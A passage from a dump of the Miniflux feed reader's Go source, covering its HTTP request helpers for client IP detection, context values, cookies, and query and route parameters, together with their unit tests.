ip)\n\t}\n}\n\nfunc TestClientIPWithUnixSocketRemoteAddrAndBothHeaders(t *testing.T) {\n\theaders := http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"203.0.113.195, 70.41.3.18, 150.172.238.178\")\n\theaders.Set(\"X-Real-Ip\", \"192.168.122.1\")\n\n\tr := &http.Request{RemoteAddr: \"@\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"203.0.113.195\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n}\n\nfunc TestIsTrustedIP(t *testing.T) {\n\ttrustedNetworks := []string{\"127.0.0.1/8\", \"10.0.0.0/8\", \"::1/128\", \"invalid\"}\n\n\tscenarios := []struct {\n\t\tip       string\n\t\texpected bool\n\t}{\n\t\t{\"127.0.0.1\", true},\n\t\t{\"10.0.0.1\", true},\n\t\t{\"::1\", true},\n\t\t{\"192.168.1.1\", false},\n\t\t{\"invalid\", false},\n\t\t{\"@\", false},\n\t\t{\"/tmp/miniflux.sock\", false},\n\t\t{\"\", false},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tresult := IsTrustedIP(scenario.ip, trustedNetworks)\n\t\tif result != scenario.expected {\n\t\t\tt.Errorf(\"Expected %v for IP %s, got %v\", scenario.expected, scenario.ip, result)\n\t\t}\n\t}\n\n\tif IsTrustedIP(\"127.0.0.1\", nil) {\n\t\tt.Error(\"Expected false when no trusted networks are defined\")\n\t}\n\n\tif IsTrustedIP(\"127.0.0.1\", []string{}) {\n\t\tt.Error(\"Expected false when trusted networks list is empty\")\n\t}\n}\n\nfunc TestFindRemoteIP(t *testing.T) {\n\tscenarios := []struct {\n\t\tip       string\n\t\texpected string\n\t}{\n\t\t{\"192.168.0.1:4242\", \"192.168.0.1\"},\n\t\t{\"[2001:db8::1]:4242\", \"2001:db8::1\"},\n\t\t{\"fe80::14c2:f039:edc7:edc7%eth0\", \"fe80::14c2:f039:edc7:edc7\"},\n\t\t{\"\", \"127.0.0.1\"},\n\t\t{\"@\", \"127.0.0.1\"},\n\t\t{\"invalid\", \"127.0.0.1\"},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tr := &http.Request{RemoteAddr: scenario.ip}\n\t\tresult := FindRemoteIP(r)\n\t\tif result != scenario.expected {\n\t\t\tt.Errorf(\"Expected %q for RemoteAddr %q, got %q\", scenario.expected, scenario.ip, result)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/http/request/context.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// ContextKey represents a context key.\ntype ContextKey int\n\n// List of context keys.\nconst (\n\tUserIDContextKey ContextKey = iota\n\tUserNameContextKey\n\tUserTimezoneContextKey\n\tIsAdminUserContextKey\n\tIsAuthenticatedContextKey\n\tUserSessionTokenContextKey\n\tUserLanguageContextKey\n\tUserThemeContextKey\n\tSessionIDContextKey\n\tCSRFContextKey\n\tOAuth2StateContextKey\n\tOAuth2CodeVerifierContextKey\n\tFlashMessageContextKey\n\tFlashErrorMessageContextKey\n\tLastForceRefreshContextKey\n\tClientIPContextKey\n\tGoogleReaderTokenKey\n\tWebAuthnDataContextKey\n)\n\n// WebAuthnSessionData returns WebAuthn session data from the request context, or nil if absent.\nfunc WebAuthnSessionData(r *http.Request) *model.WebAuthnSession {\n\tif v := r.Context().Value(WebAuthnDataContextKey); v != nil {\n\t\tif value, valid := v.(model.WebAuthnSession); valid {\n\t\t\treturn &value\n\t\t}\n\t}\n\treturn nil\n}\n\n// GoogleReaderToken returns the Google Reader token from the request context, if present.\nfunc GoogleReaderToken(r *http.Request) string {\n\treturn getContextStringValue(r, GoogleReaderTokenKey)\n}\n\n// IsAdminUser reports whether the logged-in user is an administrator.\nfunc IsAdminUser(r *http.Request) bool {\n\treturn getContextBoolValue(r, IsAdminUserContextKey)\n}\n\n// IsAuthenticated reports whether the user is authenticated.\nfunc IsAuthenticated(r *http.Request) bool {\n\treturn getContextBoolValue(r, IsAuthenticatedContextKey)\n}\n\n// UserID returns the logged-in user's ID from the request context.\nfunc UserID(r *http.Request) int64 {\n\treturn getContextInt64Value(r, UserIDContextKey)\n}\n\n// UserName returns the logged-in user's username, or \"unknown\" when unset.\nfunc UserName(r *http.Request) string {\n\tvalue := getContextStringValue(r, UserNameContextKey)\n\tif value == \"\" {\n\t\tvalue = \"unknown\"\n\t}\n\treturn value\n}\n\n// UserTimezone returns the user's timezone, defaulting to \"UTC\" when unset.\nfunc UserTimezone(r *http.Request) string {\n\tvalue := getContextStringValue(r, UserTimezoneContextKey)\n\tif value == \"\" {\n\t\tvalue = \"UTC\"\n\t}\n\treturn value\n}\n\n// UserLanguage returns the user's locale, defaulting to \"en_US\" when unset.\nfunc UserLanguage(r *http.Request) string {\n\tlanguage := getContextStringValue(r, UserLanguageContextKey)\n\tif language == \"\" {\n\t\tlanguage = \"en_US\"\n\t}\n\treturn language\n}\n\n// UserTheme returns the user's theme, defaulting to \"system_serif\" when unset.\nfunc UserTheme(r *http.Request) string {\n\ttheme := getContextStringValue(r, UserThemeContextKey)\n\tif theme == \"\" {\n\t\ttheme = \"system_serif\"\n\t}\n\treturn theme\n}\n\n// CSRF returns the CSRF token from the request context.\nfunc CSRF(r *http.Request) string {\n\treturn getContextStringValue(r, CSRFContextKey)\n}\n\n// SessionID returns the current session ID from the request context.\nfunc SessionID(r *http.Request) string {\n\treturn getContextStringValue(r, SessionIDContextKey)\n}\n\n// UserSessionToken returns the current user session token from the request context.\nfunc UserSessionToken(r *http.Request) string {\n\treturn getContextStringValue(r, UserSessionTokenContextKey)\n}\n\n// OAuth2State returns the OAuth2 state value from the request context.\nfunc OAuth2State(r *http.Request) string {\n\treturn getContextStringValue(r, OAuth2StateContextKey)\n}\n\n// OAuth2CodeVerifier returns the OAuth2 PKCE code verifier from the request context.\nfunc OAuth2CodeVerifier(r *http.Request) string {\n\treturn getContextStringValue(r, OAuth2CodeVerifierContextKey)\n}\n\n// FlashMessage returns the flash message from the request context, if any.\nfunc FlashMessage(r *http.Request) string {\n\treturn getContextStringValue(r, FlashMessageContextKey)\n}\n\n// FlashErrorMessage returns the flash error message from the request context, if any.\nfunc FlashErrorMessage(r *http.Request) string {\n\treturn getContextStringValue(r, FlashErrorMessageContextKey)\n}\n\n// LastForceRefresh returns the last force refresh timestamp from the request context.\nfunc LastForceRefresh(r *http.Request) time.Time {\n\tjsonStringValue := getContextStringValue(r, LastForceRefreshContextKey)\n\ttimestamp, err := strconv.ParseInt(jsonStringValue, 10, 64)\n\tif err != nil {\n\t\treturn time.Time{}\n\t}\n\treturn time.Unix(timestamp, 0)\n}\n\n// ClientIP returns the client IP address stored in the request context.\nfunc ClientIP(r *http.Request) string {\n\treturn getContextStringValue(r, ClientIPContextKey)\n}\n\nfunc getContextStringValue(r *http.Request, key ContextKey) string {\n\tif v := r.Context().Value(key); v != nil {\n\t\tif value, valid := v.(string); valid {\n\t\t\treturn value\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc getContextBoolValue(r *http.Request, key ContextKey) bool {\n\tif v := r.Context().Value(key); v != nil {\n\t\tif value, valid := v.(bool); valid {\n\t\t\treturn value\n\t\t}\n\t}\n\treturn false\n}\n\nfunc getContextInt64Value(r *http.Request, key ContextKey) int64 {\n\tif v := r.Context().Value(key); v != nil {\n\t\tif value, valid := v.(int64); valid {\n\t\t\treturn value\n\t\t}\n\t}\n\treturn 0\n}\n"
  },
  {
    "path": "internal/http/request/context_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"context\"\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestContextStringValue(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, ClientIPContextKey, \"IP\")\n\tr = r.WithContext(ctx)\n\n\tresult := getContextStringValue(r, ClientIPContextKey)\n\texpected := \"IP\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestContextStringValueWithInvalidType(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, ClientIPContextKey, 0)\n\tr = r.WithContext(ctx)\n\n\tresult := getContextStringValue(r, ClientIPContextKey)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestContextStringValueWhenUnset(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := getContextStringValue(r, ClientIPContextKey)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestContextBoolValue(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, IsAdminUserContextKey, true)\n\tr = r.WithContext(ctx)\n\n\tresult := getContextBoolValue(r, IsAdminUserContextKey)\n\texpected := true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestContextBoolValueWithInvalidType(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, IsAdminUserContextKey, \"invalid\")\n\tr = r.WithContext(ctx)\n\n\tresult := getContextBoolValue(r, IsAdminUserContextKey)\n\texpected := false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestContextBoolValueWhenUnset(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := getContextBoolValue(r, IsAdminUserContextKey)\n\texpected := false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestContextInt64Value(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserIDContextKey, int64(1234))\n\tr = r.WithContext(ctx)\n\n\tresult := getContextInt64Value(r, UserIDContextKey)\n\texpected := int64(1234)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestContextInt64ValueWithInvalidType(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserIDContextKey, \"invalid\")\n\tr = r.WithContext(ctx)\n\n\tresult := getContextInt64Value(r, UserIDContextKey)\n\texpected := int64(0)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestContextInt64ValueWhenUnset(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := getContextInt64Value(r, UserIDContextKey)\n\texpected := int64(0)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestIsAdmin(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := IsAdminUser(r)\n\texpected := false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, IsAdminUserContextKey, true)\n\tr = r.WithContext(ctx)\n\n\tresult = IsAdminUser(r)\n\texpected = true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestIsAuthenticated(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := IsAuthenticated(r)\n\texpected := false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, IsAuthenticatedContextKey, true)\n\tr = r.WithContext(ctx)\n\n\tresult = IsAuthenticated(r)\n\texpected = true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestUserID(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserID(r)\n\texpected := int64(0)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserIDContextKey, int64(123))\n\tr = r.WithContext(ctx)\n\n\tresult = UserID(r)\n\texpected = int64(123)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestUserName(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserName(r)\n\texpected := \"unknown\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserNameContextKey, \"jane\")\n\tr = r.WithContext(ctx)\n\n\tresult = UserName(r)\n\texpected = \"jane\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestUserTimezone(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserTimezone(r)\n\texpected := \"UTC\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserTimezoneContextKey, \"Europe/Paris\")\n\tr = r.WithContext(ctx)\n\n\tresult = UserTimezone(r)\n\texpected = \"Europe/Paris\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestUserLanguage(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserLanguage(r)\n\texpected := \"en_US\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserLanguageContextKey, \"fr_FR\")\n\tr = r.WithContext(ctx)\n\n\tresult = UserLanguage(r)\n\texpected = \"fr_FR\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestUserTheme(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserTheme(r)\n\texpected := \"system_serif\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserThemeContextKey, \"dark_serif\")\n\tr = r.WithContext(ctx)\n\n\tresult = UserTheme(r)\n\texpected = \"dark_serif\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestCSRF(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := CSRF(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, CSRFContextKey, \"secret\")\n\tr = r.WithContext(ctx)\n\n\tresult = CSRF(r)\n\texpected = \"secret\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestSessionID(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := SessionID(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, SessionIDContextKey, \"id\")\n\tr = r.WithContext(ctx)\n\n\tresult = SessionID(r)\n\texpected = \"id\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestUserSessionToken(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := UserSessionToken(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, UserSessionTokenContextKey, \"token\")\n\tr = r.WithContext(ctx)\n\n\tresult = UserSessionToken(r)\n\texpected = \"token\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestOAuth2State(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := OAuth2State(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, OAuth2StateContextKey, \"state\")\n\tr = r.WithContext(ctx)\n\n\tresult = OAuth2State(r)\n\texpected = \"state\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestOAuth2CodeVerifier(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := OAuth2CodeVerifier(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, OAuth2CodeVerifierContextKey, \"verifier\")\n\tr = r.WithContext(ctx)\n\n\tresult = OAuth2CodeVerifier(r)\n\texpected = \"verifier\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestFlashMessage(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := FlashMessage(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, FlashMessageContextKey, \"message\")\n\tr = r.WithContext(ctx)\n\n\tresult = FlashMessage(r)\n\texpected = \"message\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestFlashErrorMessage(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := FlashErrorMessage(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, FlashErrorMessageContextKey, \"error message\")\n\tr = r.WithContext(ctx)\n\n\tresult = FlashErrorMessage(r)\n\texpected = \"error message\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestLastForceRefresh(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := LastForceRefresh(r)\n\texpected := time.Time{}\n\n\tif !result.Equal(expected) {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, LastForceRefreshContextKey, \"not-a-timestamp\")\n\tr = r.WithContext(ctx)\n\n\tresult = LastForceRefresh(r)\n\texpected = time.Time{}\n\n\tif !result.Equal(expected) {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n\n\tctx = r.Context()\n\tctx = context.WithValue(ctx, LastForceRefreshContextKey, \"1700000000\")\n\tr = r.WithContext(ctx)\n\n\tresult = LastForceRefresh(r)\n\texpected = time.Unix(1700000000, 0)\n\n\tif !result.Equal(expected) {\n\t\tt.Errorf(`Unexpected context value, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestWebAuthnSessionData(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := WebAuthnSessionData(r)\n\tif result != nil {\n\t\tt.Errorf(\"Unexpected context value, got %v instead of nil\", result)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, WebAuthnDataContextKey, \"invalid\")\n\tr = r.WithContext(ctx)\n\n\tresult = WebAuthnSessionData(r)\n\tif result != nil {\n\t\tt.Errorf(\"Unexpected context value, got %v instead of nil\", result)\n\t}\n\n\tsession := model.WebAuthnSession{}\n\tctx = r.Context()\n\tctx = context.WithValue(ctx, WebAuthnDataContextKey, session)\n\tr = r.WithContext(ctx)\n\n\tresult = WebAuthnSessionData(r)\n\tif result == nil {\n\t\tt.Errorf(\"Unexpected context value, got nil instead of session\")\n\t}\n}\n\nfunc TestClientIP(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := ClientIP(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, ClientIPContextKey, \"127.0.0.1\")\n\tr = r.WithContext(ctx)\n\n\tresult = ClientIP(r)\n\texpected = \"127.0.0.1\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestGoogleReaderToken(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := GoogleReaderToken(r)\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n\n\tctx := r.Context()\n\tctx = context.WithValue(ctx, GoogleReaderTokenKey, \"token\")\n\tr = r.WithContext(ctx)\n\n\tresult = GoogleReaderToken(r)\n\texpected = \"token\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected context value, got %q instead of %q`, result, expected)\n\t}\n}\n"
  },
  {
    "path": "internal/http/request/cookie.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport \"net/http\"\n\n// CookieValue returns the named cookie value, or an empty string if the cookie is missing.\nfunc CookieValue(r *http.Request, name string) string {\n\tcookie, err := r.Cookie(name)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn cookie.Value\n}\n"
  },
  {
    "path": "internal/http/request/cookie_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc TestGetCookieValue(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\tr.AddCookie(&http.Cookie{Value: \"cookie_value\", Name: \"my_cookie\"})\n\n\tresult := CookieValue(r, \"my_cookie\")\n\texpected := \"cookie_value\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected cookie value, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestGetCookieValueWhenUnset(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://example.org\", nil)\n\n\tresult := CookieValue(r, \"my_cookie\")\n\texpected := \"\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected cookie value, got %q instead of %q`, result, expected)\n\t}\n}\n"
  },
  {
    "path": "internal/http/request/params.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// FormInt64Value returns the named form value parsed as int64, or 0 on error.\nfunc FormInt64Value(r *http.Request, param string) int64 {\n\tvalue := r.FormValue(param)\n\tinteger, err := strconv.ParseInt(value, 10, 64)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\treturn integer\n}\n\n// RouteInt64Param returns the named route parameter parsed as int64, or 0 when missing or invalid.\nfunc RouteInt64Param(r *http.Request, param string) int64 {\n\tvalue, err := strconv.ParseInt(routeParam(r, param), 10, 64)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\tif value < 0 {\n\t\treturn 0\n\t}\n\n\treturn value\n}\n\n// RouteStringParam returns the named route parameter as a string.\nfunc RouteStringParam(r *http.Request, param string) string {\n\treturn routeParam(r, param)\n}\n\n// QueryStringParam returns the named query parameter, or defaultValue if it is empty.\nfunc QueryStringParam(r *http.Request, param, defaultValue string) string {\n\tvalue := r.URL.Query().Get(param)\n\tif value == \"\" {\n\t\tvalue = defaultValue\n\t}\n\treturn value\n}\n\n// QueryStringParamList returns the non-empty, trimmed values for the named query parameter.\nfunc QueryStringParamList(r *http.Request, param string) []string {\n\tvar results []string\n\tvalues := r.URL.Query()\n\n\tif _, found := values[param]; found {\n\t\tfor _, value := range values[param] {\n\t\t\tvalue = strings.TrimSpace(value)\n\t\t\tif value != \"\" {\n\t\t\t\tresults = append(results, value)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn results\n}\n\n// QueryIntParam returns the named query parameter parsed as int, or defaultValue when missing, invalid, or negative.\nfunc QueryIntParam(r *http.Request, param string, defaultValue int) int {\n\tvalue := r.URL.Query().Get(param)\n\tif value == \"\" {\n\t\treturn defaultValue\n\t}\n\n\tval, err := strconv.ParseInt(value, 10, 0)\n\tif err != nil {\n\t\treturn defaultValue\n\t}\n\n\tif val < 0 {\n\t\treturn defaultValue\n\t}\n\n\treturn int(val)\n}\n\n// QueryInt64Param returns the named query parameter parsed as int64, or defaultValue when missing, invalid, or negative.\nfunc QueryInt64Param(r *http.Request, param string, defaultValue int64) int64 {\n\tvalue := r.URL.Query().Get(param)\n\tif value == \"\" {\n\t\treturn defaultValue\n\t}\n\n\tval, err := strconv.ParseInt(value, 10, 64)\n\tif err != nil {\n\t\treturn defaultValue\n\t}\n\n\tif val < 0 {\n\t\treturn defaultValue\n\t}\n\n\treturn val\n}\n\n// QueryBoolParam returns the named query parameter parsed as bool, or defaultValue when missing or invalid.\nfunc QueryBoolParam(r *http.Request, param string, defaultValue bool) bool {\n\tvalue := r.URL.Query().Get(param)\n\tif value == \"\" {\n\t\treturn defaultValue\n\t}\n\n\tval, err := strconv.ParseBool(value)\n\n\tif err != nil {\n\t\treturn defaultValue\n\t}\n\n\treturn val\n}\n\n// HasQueryParam reports whether the query string contains the named parameter.\nfunc HasQueryParam(r *http.Request, param string) bool {\n\tvalues := r.URL.Query()\n\t_, ok := values[param]\n\treturn ok\n}\n\nfunc routeParam(r *http.Request, param string) string {\n\treturn r.PathValue(param)\n}\n"
  },
  {
    "path": "internal/http/request/params_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestFormInt64Value(t *testing.T) {\n\tf := url.Values{}\n\tf.Set(\"integer value\", \"42\")\n\tf.Set(\"invalid value\", \"invalid integer\")\n\n\tr := &http.Request{Form: f}\n\n\tresult := FormInt64Value(r, \"integer value\")\n\texpected := int64(42)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = FormInt64Value(r, \"invalid value\")\n\texpected = int64(0)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = FormInt64Value(r, \"missing value\")\n\texpected = int64(0)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestRouteStringParamWithServerMux(t *testing.T) {\n\trouter := http.NewServeMux()\n\trouter.HandleFunc(\"GET /route/{variable}/index\", func(w http.ResponseWriter, r *http.Request) {\n\t\tresult := RouteStringParam(r, \"variable\")\n\t\texpected := \"value\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q`, result, expected)\n\t\t}\n\n\t\tresult = RouteStringParam(r, \"missing variable\")\n\t\texpected = \"\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q`, result, expected)\n\t\t}\n\t})\n\n\tr, err := http.NewRequest(http.MethodGet, \"/route/value/index\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := 